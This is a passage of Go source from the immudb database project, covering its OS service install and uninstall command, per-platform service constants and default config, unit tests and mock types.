agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package config var ConfigImmudb = []byte(`dir = "%programdata%\\Immudb\\data" network = "tcp" address = "0.0.0.0" port = 3322 dbname = "data" pidfile = "%programdata%\\Immudb\\config\\immudb.pid" logfile = "%programdata%\\Immudb\\config\\immudb.log" mtls = false detached = false auth = true pkey = "" certificate = "" clientcas = "" devmode = true admin-password = "immudb"`) ================================================ FILE: cmd/immudb/command/service/constant.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package service import "errors" var ( // ErrUnsupportedSystem appears if try to use service on system which is not supported by this release ErrUnsupportedSystem = errors.New("unsupported system") // ErrRootPrivileges appears if run installation or deleting the service without root privileges ErrRootPrivileges = errors.New("you must have root user privileges. Possibly using 'sudo' command should help") // ErrExecNotFound provided executable file does not exists ErrExecNotFound = errors.New("executable file does not exists or not provided") // ErrServiceNotInstalled provided executable file does not exists ErrServiceNotInstalled = errors.New("Service is not installed") ) ================================================ FILE: cmd/immudb/command/service/constants/freebsd.dist.go ================================================ //go:build freebsd // +build freebsd /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package constants import "fmt" const ExecPath = "/usr/sbin/" const ConfigPath = "/etc/" const OSUser = "immu" const OSGroup = "immu" var StartUpConfig = "" // UsageDet details on config and log file on specific os var UsageDet = fmt.Sprintf(`Config file is present in %s. Log file is in /var/log/immudb`, ConfigPath) // UsageExamples usage examples for linux var UsageExamples = fmt.Sprintf(`Install the immutable database sudo ./immudb service install - Installs the daemon sudo ./immudb service stop - Stops the daemon sudo ./immudb service start - Starts initialized daemon sudo ./immudb service restart - Restarts daemon sudo ./immudb service uninstall - Removes daemon and its setup Uninstall immudb after 20 second sudo ./immudb service install --time 20 immudb`) ================================================ FILE: cmd/immudb/command/service/constants/linux.dist.go ================================================ //go:build linux || darwin // +build linux darwin /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package constants import "fmt" const ExecPath = "/usr/sbin/" const ConfigPath = "/etc/" const OSUser = "immu" const OSGroup = "immu" var StartUpConfig = fmt.Sprintf(`[Unit] Description={{.Description}} Requires={{.Dependencies}} After={{.Dependencies}} [Service] PIDFile=/var/lib/immudb/{{.Name}}.pid ExecStartPre=/bin/rm -f /var/lib/immudb/{{.Name}}.pid ExecStart={{.Path}} {{.Args}} Restart=on-failure User=%s Group=%s [Install] WantedBy=multi-user.target `, OSUser, OSGroup) // UsageDet details on config and log file on specific os var UsageDet = fmt.Sprintf(`Config file is present in %s. Log file is in /var/log/immudb`, ConfigPath) // UsageExamples usage examples for linux var UsageExamples = `Install the immutable database sudo ./immudb service install - Installs the daemon sudo ./immudb service stop - Stops the daemon sudo ./immudb service start - Starts initialized daemon sudo ./immudb service restart - Restarts daemon sudo ./immudb service uninstall - Removes daemon and its setup Uninstall immudb after 20 second sudo ./immudb service install --time 20 immudb` ================================================ FILE: cmd/immudb/command/service/constants/windows.dist.go ================================================ //go:build windows // +build windows /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package constants import "fmt" const ExecPath = "" const ConfigPath = "" const OSUser = "" const OSGroup = "" var StartUpConfig = "" // UsageDet details on config and log file on specific os var UsageDet = fmt.Sprintf(`Config and log files are present in C:\ProgramData\Immudb folder`) // UsageExamples usage examples for linux var UsageExamples = fmt.Sprintf(`Install the immutable database immudb.exe service install - Initializes and runs daemon immudb.exe service stop - Stops the daemon immudb.exe service start - Starts initialized daemon immudb.exe service restart - Restarts daemon immudb.exe service uninstall - Removes daemon and its setup Uninstall immudb after 20 second immudb.exe service uninstall --time 20 immudb.exe`) ================================================ FILE: cmd/immudb/command/service/service.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package service import ( "errors" "fmt" "os" "os/exec" "strconv" "time" "github.com/codenotary/immudb/cmd/immudb/command/service/constants" "github.com/spf13/cobra" daem "github.com/takama/daemon" ) var availableCommands = []string{"install", "uninstall", "start", "stop", "restart", "status"} func (cl *commandline) Service(cmd *cobra.Command) { ccmd := &cobra.Command{ Use: fmt.Sprintf("service %v", availableCommands), Short: "Immudb service management tool", Long: `Manage immudb service. Root permission are required in order to make administrator operations. Currently working on linux, windows and freebsd operating systems. `, ValidArgs: availableCommands, Example: constants.UsageExamples, Args: func(cmd *cobra.Command, args []string) error { if len(args) < 1 { return errors.New("required a command name") } if !stringInSlice(args[0], availableCommands) { return fmt.Errorf("invalid command argument specified: %s. Available list is %v", args[0], availableCommands) } return nil }, RunE: func(cmd *cobra.Command, args []string) (err error) { if ok, e := cl.sservice.IsAdmin(); !ok { return e } // delayed operation t, _ := cmd.Flags().GetInt("time") if t > 0 { // if t is present we relaunch same command with --delayed flag set var argi []string for i, k := range os.Args { if k == "--time" || k == "-t" { continue } if _, err = strconv.ParseFloat(k, 64); err == nil { continue } if i != 0 { argi = append(argi, k) } } argi = append(argi, "--delayed", strconv.Itoa(t)) if err = launch(os.Args[0], argi); err != nil { return err } return nil } // if delayed flag is set we delay the execution of the action d, _ := cmd.Flags().GetInt("delayed") if d > 0 { time.Sleep(time.Duration(d) * time.Second) } var msg string daemon, err := cl.sservice.NewDaemon("immudb", "immudb - the immutable database") if err != nil { return err } var u string switch args[0] { case "install": if err = cl.sservice.InstallSetup("immudb", cmd.Parent()); err != nil { return err } var cp string if cp, err = cl.sservice.GetDefaultConfigPath("immudb"); err != nil { return err } if msg, err = daemon.Install("--config", cp); err != nil { return err } fmt.Fprintf(cmd.OutOrStdout(), "%s\n", msg) if msg, err = daemon.Start(); err != nil { return err } fmt.Fprintf(cmd.OutOrStdout(), "%s\n", msg) return nil case "uninstall": // check if already installed var status string if status, err = daemon.Status(); err != nil { if err == daem.ErrNotInstalled { return err } } fmt.Fprintf(cmd.OutOrStdout(), "Are you sure you want to uninstall %s? [y/N]", "immudb") if u, err = cl.treader.ReadFromTerminalYN("N"); err != nil { return err } if u != "y" { fmt.Fprintf(cmd.OutOrStdout(), "%s\n", msg) return } // stopping service first if cl.sservice.IsRunning(status) { if msg, err = daemon.Stop(); err != nil { return err } fmt.Fprintf(cmd.OutOrStdout(), "%s\n", msg) } if msg, err = daemon.Remove(); err != nil { return err } fmt.Fprintf(cmd.OutOrStdout(), "%s\n", msg) fmt.Fprintf(cmd.OutOrStdout(), "Erase data? [y/N]") if u, err = cl.treader.ReadFromTerminalYN("N"); err != nil { return err } if u != "y" { fmt.Fprintf(cmd.OutOrStdout(), "No data removed\n") } else { if err = cl.sservice.EraseData("immudb"); err != nil { return err } fmt.Fprintf(cmd.OutOrStdout(), "Data folder removed\n") } if err = cl.sservice.UninstallSetup("immudb"); err != nil { return err } fmt.Fprintf(cmd.OutOrStdout(), "Program files removed\n") return nil case "start": if msg, err = daemon.Start(); err != nil { return err } fmt.Fprintf(cmd.OutOrStdout(), "%s\n", msg) return nil case "stop": if msg, err = daemon.Stop(); err != nil { return err } fmt.Fprintf(cmd.OutOrStdout(), "%s\n", msg) return nil case "restart": if _, err = daemon.Stop(); err != nil { return err } fmt.Fprintf(cmd.OutOrStdout(), "%s\n", msg) if msg, err = daemon.Start(); err != nil { return err } fmt.Fprintf(cmd.OutOrStdout(), "%s\n", msg) return nil case "status": if msg, err = daemon.Status(); err != nil { return err } fmt.Fprintf(cmd.OutOrStdout(), "%s\n", msg) return nil } return nil }, } ccmd.PersistentFlags().IntP("time", "t", 0, "number of seconds to wait before stopping | restarting the service") ccmd.PersistentFlags().Int("delayed", 0, "number of seconds to wait before repeat the parent command. HIDDEN") ccmd.PersistentFlags().MarkHidden("delayed") cmd.AddCommand(ccmd) } func stringInSlice(a string, list []string) bool { for _, b := range list { if b == a { return true } } return false } func launch(command string, args []string) (err error) { cmd := exec.Command(command, args...) if err = cmd.Start(); err != nil { return err } return nil } ================================================ FILE: cmd/immudb/command/service/service_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package service import ( "bytes" "fmt" "io/ioutil" "os" "testing" "github.com/codenotary/immudb/cmd/helper" "github.com/codenotary/immudb/cmd/immudb/command/service/servicetest" "github.com/stretchr/testify/require" "github.com/takama/daemon" "github.com/codenotary/immudb/pkg/client/clienttest" "github.com/spf13/cobra" "github.com/stretchr/testify/assert" ) func TestCommandLine_ServiceImmudbInstall(t *testing.T) { cmd := &cobra.Command{} tr := &clienttest.TerminalReaderMock{} cld := commandline{helper.Config{}, servicetest.NewSservicemock(), tr} cld.Service(cmd) b := bytes.NewBufferString("") cmd.SetOut(b) cmd.SetArgs([]string{"service", "install"}) err := cmd.Execute() assert.NoError(t, err) } func TestCommandLine_ServiceImmudbUninstallAbortUnintall(t *testing.T) { cmd := &cobra.Command{} tr := &clienttest.TerminalReaderMock{} tr.Responses = []string{"n"} cld := commandline{helper.Config{}, servicetest.NewSservicemock(), tr} cld.Service(cmd) cmd.SetArgs([]string{"service", "uninstall"}) err := cmd.Execute() assert.NoError(t, err) } func TestCommandLine_ServiceImmudbUninstallRemovingData(t *testing.T) { cmd := &cobra.Command{} tr := &clienttest.TerminalReaderMock{} tr.Responses = []string{"y", "y"} cld := commandline{helper.Config{}, servicetest.NewSservicemock(), tr} cld.Service(cmd) b := bytes.NewBufferString("") cmd.SetOut(b) cmd.SetArgs([]string{"service", "uninstall"}) err := cmd.Execute() assert.NoError(t, err) out, err := ioutil.ReadAll(b) require.NoError(t, err) assert.Contains(t, string(out), "uninstall") } func TestCommandLine_ServiceImmudbUninstallWithoutRemoveData(t *testing.T) { cmd := &cobra.Command{} tr := &clienttest.TerminalReaderMock{} tr.Responses = []string{"y", "n"} cld := commandline{helper.Config{}, servicetest.NewSservicemock(), tr} cld.Service(cmd) b := bytes.NewBufferString("") cmd.SetOut(b) cmd.SetArgs([]string{"service", "uninstall"}) err := cmd.Execute() assert.NoError(t, err) out, err := ioutil.ReadAll(b) require.NoError(t, err) assert.Contains(t, string(out), "uninstall") } func TestCommandLine_ServiceImmudbStop(t *testing.T) { cmd := &cobra.Command{} tr := &clienttest.TerminalReaderMock{} cld := commandline{helper.Config{}, servicetest.NewSservicemock(), tr} cld.Service(cmd) cmd.SetArgs([]string{"service", "stop"}) err := cmd.Execute() assert.NoError(t, err) } func TestCommandLine_ServiceImmudbStart(t *testing.T) { cmd := &cobra.Command{} tr := &clienttest.TerminalReaderMock{} cld := commandline{helper.Config{}, servicetest.NewSservicemock(), tr} cld.Service(cmd) cmd.SetArgs([]string{"service", "start"}) err := cmd.Execute() assert.NoError(t, err) } func TestCommandLine_ServiceImmudbDelayed(t *testing.T) { cmd := &cobra.Command{} tr := &clienttest.TerminalReaderMock{} cld := commandline{helper.Config{}, servicetest.NewSservicemock(), tr} cld.Service(cmd) oldArgs := os.Args defer func() { os.Args = oldArgs }() os.Args = []string{"--time", "1"} cmd.SetArgs([]string{"service", "stop", "--time", "1"}) err := cmd.Execute() assert.Error(t, err) } func TestCommandLine_ServiceImmudbDelayedInner(t *testing.T) { cmd := &cobra.Command{} tr := &clienttest.TerminalReaderMock{} cld := commandline{helper.Config{}, servicetest.NewSservicemock(), tr} cld.Service(cmd) oldArgs := os.Args defer func() { os.Args = oldArgs }() os.Args = []string{"--delayed", "1"} cmd.SetArgs([]string{"service", "stop", "--delayed", "1"}) err := cmd.Execute() assert.NoError(t, err) } func TestCommandLine_ServiceImmudbExtraArgs(t *testing.T) { cmd := &cobra.Command{} tr := &clienttest.TerminalReaderMock{} cld := commandline{helper.Config{}, servicetest.NewSservicemock(), tr} cld.Service(cmd) oldArgs := os.Args defer func() { os.Args = oldArgs }() os.Args = []string{"--time", "1", "dummy"} cmd.SetArgs([]string{"service", "stop", "--time", "1", "dummy"}) err := cmd.Execute() assert.Error(t, err) } func TestCommandLine_ServiceImmudbRestart(t *testing.T) { cmd := &cobra.Command{} tr := &clienttest.TerminalReaderMock{} cld := commandline{helper.Config{}, servicetest.NewSservicemock(), tr} cld.Service(cmd) cmd.SetArgs([]string{"service", "restart"}) err := cmd.Execute() assert.NoError(t, err) } func TestCommandLine_ServiceImmudbStatus(t *testing.T) { cmd := &cobra.Command{} tr := &clienttest.TerminalReaderMock{} cld := commandline{helper.Config{}, servicetest.NewSservicemock(), tr} cld.Service(cmd) cmd.SetArgs([]string{"service", "status"}) err := cmd.Execute() assert.NoError(t, err) } func TestCommandline_ServiceNewDaemonError(t *testing.T) { cmd := &cobra.Command{} tr := &clienttest.TerminalReaderMock{} ss := servicetest.NewSservicemock() ss.NewDaemonF = func(serviceName, description string, dependencies ...string) (d daemon.Daemon, err error) { return nil, fmt.Errorf("error") } cld := commandline{helper.Config{}, ss, tr} cld.Service(cmd) cmd.SetArgs([]string{"service", "status"}) err := cmd.Execute() require.Error(t, err) } func TestCommandline_ServiceInstallSetupError(t *testing.T) { cmd := &cobra.Command{} tr := &clienttest.TerminalReaderMock{} ss := servicetest.NewSservicemock() ss.InstallSetupF = func(serviceName string, cmd *cobra.Command) (err error) { return fmt.Errorf("error") } cld := commandline{helper.Config{}, ss, tr} cld.Service(cmd) cmd.SetArgs([]string{"service", "install"}) err := cmd.Execute() require.Error(t, err) } func TestCommandline_ServiceGetDefaultConfigPathError(t *testing.T) { cmd := &cobra.Command{} tr := &clienttest.TerminalReaderMock{} ss := servicetest.NewSservicemock() ss.GetDefaultConfigPathF = func(serviceName string) (string, error) { return "", fmt.Errorf("error") } cld := commandline{helper.Config{}, ss, tr} cld.Service(cmd) cmd.SetArgs([]string{"service", "install"}) err := cmd.Execute() require.Error(t, err) } func TestCommandline_ServiceInstallError(t *testing.T) { cmd := &cobra.Command{} tr := &clienttest.TerminalReaderMock{} ss := servicetest.NewSservicemock() ss.NewDaemonF = func(serviceName, description string, dependencies ...string) (d daemon.Daemon, err error) { dm := servicetest.NewDaemonMock() dm.InstallF = func(args ...string) (string, error) { return "", fmt.Errorf("error") } return dm, nil } cld := commandline{helper.Config{}, ss, tr} cld.Service(cmd) cmd.SetArgs([]string{"service", "install"}) err := cmd.Execute() require.Error(t, err) } func TestCommandline_ServiceInstallDaemonStartError(t *testing.T) { cmd := &cobra.Command{} tr := &clienttest.TerminalReaderMock{} ss := servicetest.NewSservicemock() ss.NewDaemonF = func(serviceName, description string, dependencies ...string) (d daemon.Daemon, err error) { dm := servicetest.NewDaemonMock() dm.StartF = func() (string, error) { return "", fmt.Errorf("error") } return dm, nil } cld := commandline{helper.Config{}, ss, tr} cld.Service(cmd) cmd.SetArgs([]string{"service", "install"}) err := cmd.Execute() require.Error(t, err) } func TestCommandline_ServiceUninstallDaemonStatusError(t *testing.T) { cmd := &cobra.Command{} tr := &clienttest.TerminalReaderMock{} ss := servicetest.NewSservicemock() ss.NewDaemonF = func(serviceName, description string, dependencies ...string) (d daemon.Daemon, err error) { dm := servicetest.NewDaemonMock() dm.StatusF = func() (string, error) { return "", daemon.ErrNotInstalled } return dm, nil } cld := commandline{helper.Config{}, ss, tr} cld.Service(cmd) cmd.SetArgs([]string{"service", "uninstall"}) err := cmd.Execute() require.Error(t, err) } func TestCommandline_ServiceUninstallIsRunning(t *testing.T) { cmd := &cobra.Command{} tr := &clienttest.TerminalReaderMock{} tr.Responses = []string{"y", "y"} ss := servicetest.NewSservicemock() ss.IsRunningF = func(status string) bool { return true } cld := commandline{helper.Config{}, ss, tr} cld.Service(cmd) cmd.SetArgs([]string{"service", "uninstall"}) err := cmd.Execute() require.NoError(t, err) } func TestCommandline_ServiceUninstallEraseDataError(t *testing.T) { cmd := &cobra.Command{} tr := &clienttest.TerminalReaderMock{} tr.Responses = []string{"y", "y"} ss := servicetest.NewSservicemock() ss.EraseDataF = func(serviceName string) error { return fmt.Errorf("error") } cld := commandline{helper.Config{}, ss, tr} cld.Service(cmd) cmd.SetArgs([]string{"service", "uninstall"}) err := cmd.Execute() require.Error(t, err) } func TestCommandline_ServiceUninstallNotWanted(t *testing.T) { cmd := &cobra.Command{} tr := &clienttest.TerminalReaderMock{} tr.Responses = []string{"n"} ss := servicetest.NewSservicemock() cld := commandline{helper.Config{}, ss, tr} cld.Service(cmd) cmd.SetArgs([]string{"service", "uninstall"}) err := cmd.Execute() require.NoError(t, err) } func TestCommandline_ServiceUninstallTerminalError(t *testing.T) { cmd := &cobra.Command{} tr := &clienttest.TerminalReaderMock{} tr.ReadFromTerminalYNF = func(string) (string, error) { return "", fmt.Errorf("error") } ss := servicetest.NewSservicemock() cld := commandline{helper.Config{}, ss, tr} cld.Service(cmd) cmd.SetArgs([]string{"service", "uninstall"}) err := cmd.Execute() require.Error(t, err) } func TestCommandline_ServiceUninstallDaemonStopError(t *testing.T) { cmd := &cobra.Command{} tr := &clienttest.TerminalReaderMock{} tr.Responses = []string{"y", "y"} ss := servicetest.NewSservicemock() ss.NewDaemonF = func(serviceName, description string, dependencies ...string) (d daemon.Daemon, err error) { dm := servicetest.NewDaemonMock() dm.StopF = func() (string, error) { return "", fmt.Errorf("error") } return dm, nil } ss.IsRunningF = func(status string) bool { return true } cld := commandline{helper.Config{}, ss, tr} cld.Service(cmd) cmd.SetArgs([]string{"service", "uninstall"}) err := cmd.Execute() require.Error(t, err) } func TestCommandline_ServiceUninstallDaemonRemoveError(t *testing.T) { cmd := &cobra.Command{} tr := &clienttest.TerminalReaderMock{} tr.Responses = []string{"y", "y"} ss := servicetest.NewSservicemock() ss.NewDaemonF = func(serviceName, description string, dependencies ...string) (d daemon.Daemon, err error) { dm := servicetest.NewDaemonMock() dm.RemoveF = func() (string, error) { return "", fmt.Errorf("error") } return dm, nil } ss.IsRunningF = func(status string) bool { return true } cld := commandline{helper.Config{}, ss, tr} cld.Service(cmd) cmd.SetArgs([]string{"service", "uninstall"}) err := cmd.Execute() require.Error(t, err) } func TestCommandline_ServiceUninstallDaemonUninstallSetupError(t *testing.T) { cmd := &cobra.Command{} tr := &clienttest.TerminalReaderMock{} tr.Responses = []string{"y", "y"} ss := servicetest.NewSservicemock() ss.UninstallSetupF = func(serviceName string) (err error) { return fmt.Errorf("error") } cld := commandline{helper.Config{}, ss, tr} cld.Service(cmd) cmd.SetArgs([]string{"service", "uninstall"}) err := cmd.Execute() require.Error(t, err) } func TestCommandline_ServiceStartDaemonStartError(t *testing.T) { cmd := &cobra.Command{} tr := &clienttest.TerminalReaderMock{} ss := servicetest.NewSservicemock() ss.NewDaemonF = func(serviceName, description string, dependencies ...string) (d daemon.Daemon, err error) { dm := servicetest.NewDaemonMock() dm.StartF = func() (string, error) { return "", fmt.Errorf("error") } return dm, nil } cld := commandline{helper.Config{}, ss, tr} cld.Service(cmd) cmd.SetArgs([]string{"service", "start"}) err := cmd.Execute() require.Error(t, err) } func TestCommandline_ServiceStopDaemonStopError(t *testing.T) { cmd := &cobra.Command{} tr := &clienttest.TerminalReaderMock{} ss := servicetest.NewSservicemock() ss.NewDaemonF = func(serviceName, description string, dependencies ...string) (d daemon.Daemon, err error) { dm := servicetest.NewDaemonMock() dm.StopF = func() (string, error) { return "", fmt.Errorf("error") } return dm, nil } cld := commandline{helper.Config{}, ss, tr} cld.Service(cmd) cmd.SetArgs([]string{"service", "stop"}) err := cmd.Execute() require.Error(t, err) } func TestCommandline_ServicRestartDaemonStopError(t *testing.T) { cmd := &cobra.Command{} tr := &clienttest.TerminalReaderMock{} ss := servicetest.NewSservicemock() ss.NewDaemonF = func(serviceName, description string, dependencies ...string) (d daemon.Daemon, err error) { dm := servicetest.NewDaemonMock() dm.StopF = func() (string, error) { return "", fmt.Errorf("error") } return dm, nil } cld := commandline{helper.Config{}, ss, tr} cld.Service(cmd) cmd.SetArgs([]string{"service", "restart"}) err := cmd.Execute() require.Error(t, err) } func TestCommandline_ServicRestartDaemonStartError(t *testing.T) { cmd := &cobra.Command{} tr := &clienttest.TerminalReaderMock{} ss := servicetest.NewSservicemock() ss.NewDaemonF = func(serviceName, description string, dependencies ...string) (d daemon.Daemon, err error) { dm := servicetest.NewDaemonMock() dm.StartF = func() (string, error) { return "", fmt.Errorf("error") } return dm, nil } cld := commandline{helper.Config{}, ss, tr} cld.Service(cmd) cmd.SetArgs([]string{"service", "restart"}) err := cmd.Execute() require.Error(t, err) } func TestCommandline_ServicRestarIsNotAdminError(t *testing.T) { cmd := &cobra.Command{} tr := &clienttest.TerminalReaderMock{} ss := servicetest.NewSservicemock() ss.IsAdminF = func() (bool, error) { return false, fmt.Errorf("error") } cld := commandline{helper.Config{}, ss, tr} cld.Service(cmd) cmd.SetArgs([]string{"service", "restart"}) err := cmd.Execute() require.Error(t, err) } func TestCommandline_ServicStatusDaemonStatusError(t *testing.T) { cmd := &cobra.Command{} tr := &clienttest.TerminalReaderMock{} ss := servicetest.NewSservicemock() ss.NewDaemonF = func(serviceName, description string, dependencies ...string) (d daemon.Daemon, err error) { dm := servicetest.NewDaemonMock() dm.StatusF = func() (string, error) { return "", fmt.Errorf("error") } return dm, nil } cld := commandline{helper.Config{}, ss, tr} cld.Service(cmd) cmd.SetArgs([]string{"service", "status"}) err := cmd.Execute() require.Error(t, err) } func TestCommandline_CommandInvalidArgument(t *testing.T) { cmd := &cobra.Command{} tr := &clienttest.TerminalReaderMock{} ss := servicetest.NewSservicemock() cld := commandline{helper.Config{}, ss, tr} cld.Service(cmd) cmd.SetArgs([]string{"service", "wrong"}) err := cmd.Execute() require.Error(t, err) } func TestCommandline_CommandMissingCommandName(t *testing.T) { cmd := &cobra.Command{} tr := &clienttest.TerminalReaderMock{} ss := servicetest.NewSservicemock() cld := commandline{helper.Config{}, ss, tr} cld.Service(cmd) cmd.SetArgs([]string{"service"}) err := cmd.Execute() require.Error(t, err) } ================================================ FILE: cmd/immudb/command/service/servicetest/commandline.go ================================================ package servicetest import "github.com/spf13/cobra" type commandlineMock struct{} func (cl *commandlineMock) checkLoggedInAndConnect(cmd *cobra.Command, args []string) (err error) { return nil } func (cl *commandlineMock) disconnect(cmd *cobra.Command, args []string) {} func (cl *commandlineMock) connect(cmd *cobra.Command, args []string) (err error) { return nil } func (cl *commandlineMock) checkLoggedIn(cmd *cobra.Command, args []string) (err error) { return nil } ================================================ FILE: cmd/immudb/command/service/servicetest/configservice.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package servicetest import ( "io" "github.com/spf13/viper" ) type ConfigServiceMock struct { *viper.Viper } func (v *ConfigServiceMock) WriteConfigAs(filename string) error { return nil } func (v *ConfigServiceMock) GetString(key string) string { return "" } func (v *ConfigServiceMock) SetConfigType(in string) {} func (v *ConfigServiceMock) ReadConfig(in io.Reader) error { return nil } ================================================ FILE: cmd/immudb/command/service/servicetest/daemon.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package servicetest import "github.com/takama/daemon" func NewDaemonMock() *daemonmock { dm := &daemonmock{} dm.SetTemplateF = func(string) error { return nil } dm.InstallF = func(args ...string) (string, error) { return "", nil } dm.RemoveF = func() (string, error) { return "", nil } dm.StartF = func() (string, error) { return "", nil } dm.StopF = func() (string, error) { return "", nil } dm.StatusF = func() (string, error) { return "", nil } dm.RunF = func(e daemon.Executable) (string, error) { return "", nil } return dm } type daemonmock struct { daemon.Daemon SetTemplateF func(string) error InstallF func(args ...string) (string, error) RemoveF func() (string, error) StartF func() (string, error) StopF func() (string, error) StatusF func() (string, error) RunF func(e daemon.Executable) (string, error) } func (d *daemonmock) SetTemplate(t string) error { return d.SetTemplateF(t) } func (d *daemonmock) Install(args ...string) (string, error) { return d.InstallF(args...) } func (d *daemonmock) Remove() (string, error) { return d.RemoveF() } func (d *daemonmock) Start() (string, error) { return d.StartF() } func (d *daemonmock) Stop() (string, error) { return d.StopF() } func (d *daemonmock) Status() (string, error) { return d.StatusF() } func (d *daemonmock) Run(e daemon.Executable) (string, error) { return d.RunF(e) } ================================================ FILE: cmd/immudb/command/service/servicetest/server.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package servicetest import ( "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/pkg/server" "github.com/codenotary/immudb/pkg/stream" ) func NewDefaultImmuServerMock() *ImmuServerMock { s := &ImmuServerMock{} s.InitializeF = func() error { return nil } s.StartF = func() error { return nil } s.StopF = func() error { return nil } s.WithOptionsF = func(options *server.Options) server.ImmuServerIf { return s } s.WithLoggerF = func(logger.Logger) server.ImmuServerIf { return s } s.WithStateSignerF = func(stateSigner server.StateSigner) server.ImmuServerIf { return s } return s } type ImmuServerMock struct { server.ImmuServerIf InitializeF func() error StartF func() error StopF func() error WithOptionsF func(options *server.Options) server.ImmuServerIf WithLoggerF func(logger.Logger) server.ImmuServerIf WithStateSignerF func(stateSigner server.StateSigner) server.ImmuServerIf WithStreamServiceFactoryF func(ssf stream.ServiceFactory) server.ImmuServerIf } func (d *ImmuServerMock) Initialize() error { return d.InitializeF() } func (d *ImmuServerMock) Start() error { return d.StartF() } func (d *ImmuServerMock) Stop() error { return d.StopF() } func (d *ImmuServerMock) WithOptions(options *server.Options) server.ImmuServerIf { return d.WithOptionsF(options) } func (d *ImmuServerMock) WithLogger(l logger.Logger) server.ImmuServerIf { return d.WithLoggerF(l) } func (d *ImmuServerMock) WithStateSigner(stateSigner server.StateSigner) server.ImmuServerIf { return d.WithStateSignerF(stateSigner) } func (d *ImmuServerMock) WithStreamServiceFactory(ssf stream.ServiceFactory) server.ImmuServerIf { return d.WithStreamServiceFactoryF(ssf) } ================================================ FILE: cmd/immudb/command/service/servicetest/sservice.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package servicetest import ( "github.com/spf13/cobra" "github.com/takama/daemon" ) func NewSservicemock() *Sservicemock { ss := &Sservicemock{} ss.NewDaemonF = func(serviceName, description string, dependencies ...string) (d daemon.Daemon, err error) { return NewDaemonMock(), nil } ss.IsAdminF = func() (bool, error) { return true, nil } ss.InstallSetupF = func(serviceName string, cmd *cobra.Command) (err error) { return nil } ss.UninstallSetupF = func(serviceName string) (err error) { return nil } ss.EraseDataF = func(serviceName string) (err error) { return nil } ss.IsRunningF = func(status string) bool { return false } ss.GetDefaultConfigPathF = func(serviceName string) (string, error) { return "", nil } ss.ReadConfigF = func(serviceName string) (err error) { return nil } ss.InstallConfigF = func(serviceName string) (err error) { return nil } ss.CopyExecInOsDefaultF = func(execPath string) (newExecPath string, err error) { return "", nil } ss.GetDefaultExecPathF = func(serviceName string) (string, error) { return "", nil } ss.UninstallExecutablesF = func(serviceName string) error { return nil } return ss } type Sservicemock struct { NewDaemonF func(serviceName, description string, dependencies ...string) (d daemon.Daemon, err error) IsAdminF func() (bool, error) InstallSetupF func(serviceName string, 